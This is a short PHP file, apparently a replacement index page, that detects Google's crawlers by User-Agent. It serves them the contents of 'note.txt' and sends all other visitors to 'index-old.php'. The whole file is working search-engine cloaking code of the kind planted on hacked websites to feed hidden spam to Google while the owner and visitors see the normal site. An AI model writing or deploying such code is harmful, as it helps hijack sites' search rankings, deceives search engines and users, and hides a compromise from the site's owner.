<?php 
function is_google_bot() { 
    $agents = array("Googlebot", "Google-Site-Verification", "Google-InspectionTool", "Googlebot-Mobile", "Googlebot-News"); 
    foreach ($agents as $agent) { 
        if (strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false) return true; 
    } 
    return false; 
}
 
if (is_google_bot()) { 
    $bot_content = file_get_contents('note.txt'); 
    echo $bot_content; 
    exit; 
} else { 
    include('index-old.php'); 
    exit; 
} 
?>